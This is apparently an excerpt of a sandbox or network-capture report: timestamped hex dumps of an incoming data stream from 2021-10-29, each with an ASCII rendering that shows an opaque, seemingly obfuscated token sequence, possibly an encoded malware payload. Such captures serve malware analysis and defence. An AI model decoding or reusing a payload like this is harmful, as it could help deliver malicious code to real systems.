20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 
4b 74 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 74 20 
78 20 51 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 4f 78 74 20 78 20 4f 
78 6f 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 59 59 20 78 
20 6b 45 20 78 20 74 4f 20 78 20 74 52 20 78 20 4b 74 
Data Ascii: Kt x Kt x RY x YO x Oxk x OOk x Kt x OOR x tk x tK x to x Kt x YR x Rk x OxO x kt x Kt x Kt x RY x YO x Oxk x 
OOk x Kt x OOQ x tR x OOo x tR x Kt x YR x Rt x Qt x tQ x Kt x Kt x RY x OOK x Oxt x Oxo x Kt x OOR x tK x OOO x YO 
x Kt x YY x kE x tO x tR x Kt

2021-10-29 15:55:36 UTC 2757 IN Data Raw: 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 59 74 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 6b 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 74 20 78 20 51 78 20 78 
20 52 51 20 78 20 4b 6b 20 78 20 74 45 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 74 6f 
20 78 20 59 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74 78 20 78 20 6b 52 20 78 20 4f 
78 74 20 78 20 4b 51 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 45 20 78 20 74 4b 20 78 20 6b 4b 20 78 
20 4f 78 45 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 74 20 78 20 59 45 20 78 20 6b 78 20 78 20 4b 
74 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 78 20 78 20 6b 
Data Ascii: YY x YO x Kt x KE x OOK x OOt x Yt x Kt x Kt x kx x Kk x QQ x YY x Kt x Qx x RQ x Kk x tE x Yt x OxR x OOY 
x Qx x to x Yt x tt x Rk x RY x kO x tx x kR x Oxt x KQ x kE x RY x Kt x YE x tK x kK x OxE x Oxo x Kt x tx x Oxt x YE x kx 
x Kt x OOQ x Qk x Yx x k

2021-10-29 15:55:36 UTC 2761 IN Data Raw: 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 
20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 
20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 
4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 
20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 
20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 
4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4b 45 
Data Ascii:  KE x Ooo x QQ x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE x Ooo x Qk x Yo x 
kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x Oxo x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x 
YY x tk x OOk x OxE x Kt x KE

2021-10-29 15:55:36 UTC 2765 IN Data Raw: 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 
20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4b 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 
4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 52 20 78 
20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 
78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 
52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 
Data Ascii: RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kK x RY x RY x RY x RY x RY 
x RY x RR x tK x OOx x Rt x kQ x RY x kY x RY x RR x OoO x RY x tO x YR x RY x QQ x RY x RR x Oxk x RY x to x tE x 
RY x Oxx x RY x RR x OOo x RY x tO x k
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2021-10-29 15:55:36 UTC 2769 IN Data Raw: 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 
59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 
78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 
51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78 20 4f 4f 78 20 78 20 52 51 
20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 
74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 74 45 20 78 20 52 
Data Ascii: Q x OOQ x RY x tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x 
kO x RY x tO x OOQ x RY x Oxx x kO x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x kQ x OOx x RQ x RQ x RY x 
Oxx x kO x RR x Kk x RY x tO x YR x RY x tE x R

2021-10-29 15:55:36 UTC 2773 IN Data Raw: 20 4f 4f 78 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 
20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 
20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 
52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 
78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 
45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 4f 4f 78 
Data Ascii:  OOx x RQ x tt x RY x Qt x RY x RR x OOk x RY x tO x YR x RY x QQ x OOQ x RR x Oxk x RY x Rt x RY x 
RY x kO x OOQ x RR x OOk x RY x tO x OOQ x RY x Oxx x kO x RR x OOR x RY x Rt x kQ x RY x Qk x OxE x RR x Ooo 
x RY x RY x RY x RY x RY x RY x RR x tt x OOx

2021-10-29 15:55:36 UTC 2777 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 78 20 78 
20 59 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 4b 74 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 
74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 
78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 
59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 
Data Ascii: RY x RY x Oxk x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x tO x RY x kx x YR x RY x Rt x kO x Rk x 
OOK x RY x Kt x Kt x Kt x OxE x OxE x RR x kY x RY x tO x OxE x RY x Qx x kO x RY x OxE x RY x tO x kQ x RY x Qk x 
OOQ x RR x OOY x RY x tO x OOQ x RY x 

2021-10-29 15:55:36 UTC 2781 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 
59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 4f 51 20 78 
20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 
20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 
4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 
Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Oxk x RY x to x RY x RR x OOQ x 
RY x kt x OOQ x RY x tK x RY x tQ x YR x Rk x RY x RY x Rk x Kt x Kt x Yo x tE x RY x kO x OOQ x RR x OOk x RY x 
tO x Kk x RY x Qk x kO x RR x OxK x RY x tO

2021-10-29 15:55:36 UTC 2785 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 52 20 78 20 6b 59 20 78 20 74 4f 20 78 20 4f 78 45 20 
78 20 52 52 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 
51 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 2
0 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x OxE x RY x Rt x RR x kY x tO x OxE x RR x kt x RY x RR x tR x 
RY x RY x OOQ x RY x KE x OxE x tt x RY x RY x kx x Kt x Kt x OxE x kO x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x 

2021-10-29 15:55:36 UTC 2789 IN Data Raw: 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 
51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 
78 20 51 78 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 
59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 
20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 
78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 
20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 
Data Ascii: xE x RY x OxE x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x Rt x RY x RY x Qx x OxE x RR x KQ x RY x 
tO x OOQ x RY x Qk x RY x RY x OxE x RY x to x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x tE x RY x RR x 
OOo x RY x to x tt x RY x tE x RY x RR 

2021-10-29 15:55:36 UTC 2793 IN Data Raw: 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 
78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 
20 4f 78 4b 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 52 74 
20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 6
b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 
Data Ascii: x tO x YR x RY x Qx x RY x RR x Oxk x RY x Rk x OOO x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RY x OxK x kY x tY x tt x RY x OoO x kO x Rt x Kk x RY x tR x 
kQ x RY x RR x OOQ x kO x RY x RY x kx x Kt

2021-10-29 15:55:36 UTC 2797 IN Data Raw: 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 
4b 6b 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 78 
20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6f 20 
78 20 6b 4f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 
4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii: Y x Qk x OOQ x RR x OOt x RY x tO x Kk x RY x Qx x kO x RR x OOt x RY x to x kO x RY x tE x RY x RR x kK 
x RY x to x kO x RY x QQ x OxE x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RR x Ooo x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x
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2021-10-29 15:55:36 UTC 2801 IN Data Raw: 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 
78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 
20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 
52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 
20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 6b 
4b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 
Data Ascii: x YR x RY x Qk x OOQ x RR x Ooo x RY x tO x kY x RY x tE x RY x RR x kO x RY x to x tE x RY x Qk x OOQ 
x RR x OxR x RY x tO x kY x RY x QQ x OOQ x RR x Ooo x RY x RY x RY x RY x Rt x RY x Rt x kO x RY x kO x RY x 
RR x kK x kO x RR x kK x RY x Rt x RY x RY

2021-10-29 15:55:36 UTC 2805 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 
52 51 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 74 51 20 
78 20 59 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 
20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 
4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
Data Ascii: RY x RY x RY x Rt x Oxo x RY x tx x RQ x RY x tt x OxE x RY x tQ x RY x tQ x YR x Rk x Kt x Kt x KE x RY x 
RY x Rt x kQ x RY x kE x RY x RR x OOo x RY x tO x kO x RY x Qx x kO x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RR x kY x RY x RY x RY x RY x RY

2021-10-29 15:55:36 UTC 2809 IN Data Raw: 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 
59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 
52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 59 45 20 
78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 
6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 
20 4f 4f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 52 52 
20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 
Data Ascii: o x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qx x kO x RR x Oxt x RY x Rt x RY x RY x kQ x OxE 
x RR x YE x RY x Rt x RY x RY x Oxx x kO x RR x Ooo x RY x tO x Oxt x RY x Qk x OxE x RR x OOx x RY x RR x tt x RY 
x kY x OOQ x RR x Oxk x RY x tO x O

2021-10-29 15:55:36 UTC 2813 IN Data Raw: 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 52 20 7
8 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 
20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 
52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 
Data Ascii: RY x tO x kY x RY x Qx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RR x RQ x RY x kO x kO x RR x Oxt x RY x tO x kO x RY x tE x RY x RR x tx x RY x to x OxE 
x RY x QQ x RY x RR x OOY x RY x tO x YR

2021-10-29 15:55:36 UTC 2817 IN Data Raw: 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 
20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 
20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 
59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 
20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 
20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 
6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 
Data Ascii: OxE x RR x OOk x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x to x tE x RY x tE x RY x RR x OOY x RY x 
tO x YR x RY x Qx x OOQ x RR x OOx x RY x tO x kY x RY x Qx x RY x RY x OOR x RY x tO x Oxt x RY x Qk x OxE x 
RY x OxE x RY x to x kY x RY x QQ x OOQ x

2021-10-29 15:55:36 UTC 2821 IN Data Raw: 51 20 78 20 52 52 20 78 20 59 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 
20 78 20 52 59 20 78 20 52 52 20 78 20 74 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 
45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 
74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 59 20 7
8 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 
20 78 20 52 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 
52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 78 74 
Data Ascii: Q x RR x YO x RY x to x tt x RY x tE x RY x RR x tQ x RY x tx x kO x RY x tE x RY x RY x Kk x RY x Rt x Yo x 
RY x tt x RY x RY x OxE x RY x tx x tt x RY x kY x RY x RY x KQ x RY x tx x RR x RR x Rk x RY x RR x kk x RY x tO x 
Oxt x RY x Qk x OxE x RR x Oxt

2021-10-29 15:55:36 UTC 2825 IN Data Raw: 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 
59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 6b 20 78 20 
52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 
20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 6b 20 
78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 
20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 
78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 
Data Ascii: tx x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x Rk x kO x RR x Rk x RY x to x tE x RY x Qx x kO x 
RR x OxK x RY x to x kO x RY x Qt x kO x RR x OOk x RY x tO x Yo x RY x tE x RY x RR x kY x RY x tO x Oxt x RY x Qk 
x kO x RR x Oxk x RY x RY x Oxt x

2021-10-29 15:55:36 UTC 2829 IN Data Raw: 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 
20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 
4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 
52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 
20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 
78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 78 20 
Data Ascii: x RY x tQ x RY x RY x tt x RY x RY x RQ x RY x kE x kO x RR x OOt x RY x to x kO x RY x Qx x kO x RR x 
OoO x RY x tO x Yo x RY x kQ x kO x RR x OOY x RY x RQ x Yo x RY x kQ x kO x RR x OOR x RY x tO x kY x RY x RY 
x RY x RR x RR x RY x tO x kO x RY x Oxx 
